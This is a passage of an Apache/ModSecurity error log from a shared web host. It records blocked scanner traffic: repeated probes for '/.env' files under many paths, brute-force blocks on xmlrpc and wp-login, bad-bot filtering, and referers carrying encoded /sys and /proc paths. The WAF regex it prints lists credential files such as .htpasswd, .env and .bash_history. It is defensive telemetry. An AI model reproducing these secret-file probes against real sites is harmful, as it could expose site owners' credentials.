"409"] [hostname "mail.sandra-cooper.com"] [uri "/xmlrpc.php"] [unique_id "ai3zQlWSojQL4F7upKBr_QABBCM"] [Sat Jun 13 18:18:10.099369 2026] [security2:error] [pid 646876:tid 647134] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/results/.env"] [unique_id "ai3zQtyTkdrNlD40tSG0KAAAAH4"] [Sat Jun 13 18:18:10.179282 2026] [security2:error] [pid 648189:tid 648243] [remote 17.246.19.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQlWSojQL4F7upKBsAgAAsxY"] [Sat Jun 13 18:18:10.227018 2026] [access_compat:error] [pid 646876:tid 647032] [client 192.178.6.39:49708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:10.227340 2026] [access_compat:error] [pid 646876:tid 647032] [client 192.178.6.39:49708] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:10.237243 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:18:10.237672 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:18:10.367727 2026] [security2:error] [pid 646876:tid 647118] [client 84.21.190.140:45216] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "4evercrystals.com"] [uri "/wp-content/plugins/fusion-builder/readme.txt"] [unique_id "ai3zQtyTkdrNlD40tSG0MQAAAG4"] [Sat Jun 13 18:18:10.385531 2026] [security2:error] [pid 646876:tid 647025] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/robots/.env"] [unique_id "ai3zQtyTkdrNlD40tSG0MgAAABE"] [Sat Jun 13 18:18:10.524691 2026] [security2:error] [pid 648189:tid 648388] [client 220.181.51.120:43577] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 120.51.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/wp-login.php"] [unique_id "ai3zQlWSojQL4F7upKBsCgAAAKg"] [Sat Jun 13 18:18:10.542531 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.49:35733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:10.542849 2026] [access_compat:error] [pid 646876:tid 646891] [remote 57.141.14.49:35733] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:10.670594 2026] [security2:error] [pid 646876:tid 647047] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/root/.env"] [unique_id "ai3zQtyTkdrNlD40tSG0OQAAACc"] [Sat Jun 13 18:18:10.722898 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:18:10.723188 2026] [access_compat:error] [pid 646876:tid 647006] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:18:10.792379 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.21:32271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:10.792674 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.21:32271] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:10.808553 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rosterBack/.env"] [unique_id "ai3zQtyTkdrNlD40tSG0PQAAAFQ"] [Sat Jun 13 18:18:10.948144 2026] [security2:error] [pid 646876:tid 647044] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/roundcube/.env"] [unique_id "ai3zQtyTkdrNlD40tSG0QAAAACQ"] [Sat Jun 13 18:18:10.996988 2026] [security2:error] [pid 646876:tid 646985] [remote 17.22.245.80:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 80.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQtyTkdrNlD40tSG0QgAANmo"] [Sat Jun 13 18:18:11.041179 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.7:26219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:11.041637 2026] [access_compat:error] [pid 648189:tid 648332] [remote 57.141.14.7:26219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:11.085841 2026] [security2:error] [pid 646876:tid 647084] [client 220.181.51.90:22255] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.51.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/wp-login.php"] [unique_id "ai3zQ9yTkdrNlD40tSG0RAAAAEw"] [Sat Jun 13 18:18:11.089459 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/roundcubemail/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0RgAAAHM"] [Sat Jun 13 18:18:11.116281 2026] [security2:error] [pid 648189:tid 648314] [remote 17.246.19.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQ1WSojQL4F7upKBsIQAA5Vw"] [Sat Jun 13 18:18:11.219763 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2U= [Sat Jun 13 18:18:11.220223 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2U= [Sat Jun 13 18:18:11.228404 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/routes/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0SwAAAF8"] [Sat Jun 13 18:18:11.272999 2026] [security2:error] [pid 648189:tid 648419] [client 172.56.168.133:42060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zQ1WSojQL4F7upKBsKwAAAMY"] [Sat Jun 13 18:18:11.273110 2026] [security2:error] [pid 648189:tid 648419] [client 172.56.168.133:42060] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zQ1WSojQL4F7upKBsKwAAAMY"] [Sat Jun 13 18:18:11.285319 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.30:51480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:11.285760 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.30:51480] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:11.367680 2026] [security2:error] [pid 646876:tid 647111] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/run/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0TgAAAGc"] [Sat Jun 13 18:18:11.440584 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.14:49548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:11.440967 2026] [access_compat:error] [pid 648189:tid 648322] [remote 57.141.14.14:49548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:11.505102 2026] [security2:error] [pid 646876:tid 647072] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rust-backend/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0UgAAAEA"] [Sat Jun 13 18:18:11.644572 2026] [security2:error] [pid 646876:tid 647126] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/rust-backend/dao/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0VAAAAHY"] [Sat Jun 13 18:18:11.742456 2026] [security2:error] [pid 648189:tid 648224] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/build/manifest.json"] [unique_id "ai3zQ1WSojQL4F7upKBsSgABBAQ"] [Sat Jun 13 18:18:11.742616 2026] [security2:error] [pid 648189:tid 648486] [client 88.151.32.61:57642] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "mail.lthssolar.com"] [uri "/build/manifest.json"] [unique_id "ai3zQ1WSojQL4F7upKBsSgABBAQ"] [Sat Jun 13 18:18:11.768551 2026] [access_compat:error] [pid 648189:tid 648229] [remote 74.7.227.22:38348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:11.768846 2026] [access_compat:error] [pid 648189:tid 648229] [remote 74.7.227.22:38348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:18:11.772213 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:18:11.772686 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:18:11.783120 2026] [security2:error] [pid 646876:tid 647086] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/s-with-me-front/.env"] [unique_id "ai3zQ9yTkdrNlD40tSG0WQAAAE4"] [Sat Jun 13 18:18:11.827969 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.109:23362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:11.828391 2026] [access_compat:error] [pid 648189:tid 648293] [remote 57.141.14.109:23362] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:11.909041 2026] [security2:error] [pid 646876:tid 646979] [remote 17.241.75.12:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 12.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zQ9yTkdrNlD40tSG0XAAAN2Q"] [Sat Jun 13 18:18:11.941752 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.52:55060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:11.942190 2026] [access_compat:error] [pid 648189:tid 648278] [remote 57.141.14.52:55060] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:12.080331 2026] [security2:error] [pid 646876:tid 647079] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/saas/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0YgAAAEc"] [Sat Jun 13 18:18:12.105392 2026] [security2:error] [pid 646876:tid 646901] [remote 